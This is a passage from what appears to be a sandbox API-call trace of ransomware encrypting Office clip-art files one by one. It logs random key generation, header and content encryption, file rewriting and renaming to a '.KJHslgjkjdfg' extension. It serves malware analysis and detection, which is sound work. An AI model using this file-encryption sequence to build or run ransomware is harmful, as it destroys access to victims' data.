ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2eb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285792.WMF", cAlternateFileName="")) returned 1 [0200.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.600] GetProcessHeap () returned 0x990000 [0200.600] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.600] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.600] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0200.603] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.603] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.603] GetProcessHeap () returned 0x990000 [0200.603] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.603] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.603] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.603] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.603] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.603] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.603] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.604] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.604] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.604] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.604] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2eb4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2eb4, lpOverlapped=0x0) returned 1 [0200.605] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2ec0, dwBufLen=0x2ec0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2ec0) returned 1 [0200.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.605] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2ec0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2ec0, lpOverlapped=0x0) returned 1 [0200.605] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.606] SetEndOfFile (hFile=0x130) returned 1 [0200.609] GetProcessHeap () returned 0x990000 [0200.609] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.609] GetProcessHeap () returned 0x990000 [0200.609] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf.kjhslgjkjdfg")) returned 1 [0200.610] CloseHandle (hObject=0x130) returned 1 [0200.610] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285796.WMF", cAlternateFileName="")) returned 1 [0200.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.611] GetProcessHeap () returned 0x990000 [0200.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.612] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.612] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.612] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.612] GetProcessHeap () returned 0x990000 [0200.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.612] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.612] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.612] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.614] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.615] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.615] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.615] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.615] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.615] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.615] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3550, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3550, lpOverlapped=0x0) returned 1 [0200.617] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3550, dwBufLen=0x3550 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3550) returned 1 [0200.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.617] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3550, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3550, lpOverlapped=0x0) returned 1 [0200.617] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.617] SetEndOfFile (hFile=0x130) returned 1 [0200.620] GetProcessHeap () returned 0x990000 [0200.620] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.620] GetProcessHeap () returned 0x990000 [0200.620] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.621] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf.kjhslgjkjdfg")) returned 1 [0200.622] CloseHandle (hObject=0x130) returned 1 [0200.622] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285808.WMF", cAlternateFileName="")) returned 1 [0200.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.624] GetProcessHeap () returned 0x990000 [0200.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.624] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.624] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0200.627] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.627] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.627] GetProcessHeap () returned 0x990000 [0200.627] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.627] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.627] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.627] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.628] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.628] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.628] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.628] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.628] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.628] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.628] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.629] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x23f4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x23f4, lpOverlapped=0x0) returned 1 [0200.630] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2400, dwBufLen=0x2400 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2400) returned 1 [0200.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.630] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2400, lpOverlapped=0x0) returned 1 [0200.630] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.630] SetEndOfFile (hFile=0x130) returned 1 [0200.633] GetProcessHeap () returned 0x990000 [0200.634] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.634] GetProcessHeap () returned 0x990000 [0200.634] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf.kjhslgjkjdfg")) returned 1 [0200.636] CloseHandle (hObject=0x130) returned 1 [0200.636] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2210, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285820.WMF", cAlternateFileName="")) returned 1 [0200.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.637] GetProcessHeap () returned 0x990000 [0200.637] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.637] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.637] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.637] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.637] GetProcessHeap () returned 0x990000 [0200.637] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.637] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.637] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.637] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.640] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.640] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.640] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.640] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.640] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.640] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.641] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2210, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2210, lpOverlapped=0x0) returned 1 [0200.642] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2210, dwBufLen=0x2210 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2210) returned 1 [0200.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.642] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2210, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2210, lpOverlapped=0x0) returned 1 [0200.642] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x22e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.642] SetEndOfFile (hFile=0x130) returned 1 [0200.645] GetProcessHeap () returned 0x990000 [0200.645] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.645] GetProcessHeap () returned 0x990000 [0200.645] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf.kjhslgjkjdfg")) returned 1 [0200.647] CloseHandle (hObject=0x130) returned 1 [0200.647] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285822.WMF", cAlternateFileName="")) returned 1 [0200.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.649] GetProcessHeap () returned 0x990000 [0200.649] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.649] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.650] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.650] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.650] GetProcessHeap () returned 0x990000 [0200.650] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.650] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.650] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.650] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.653] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, 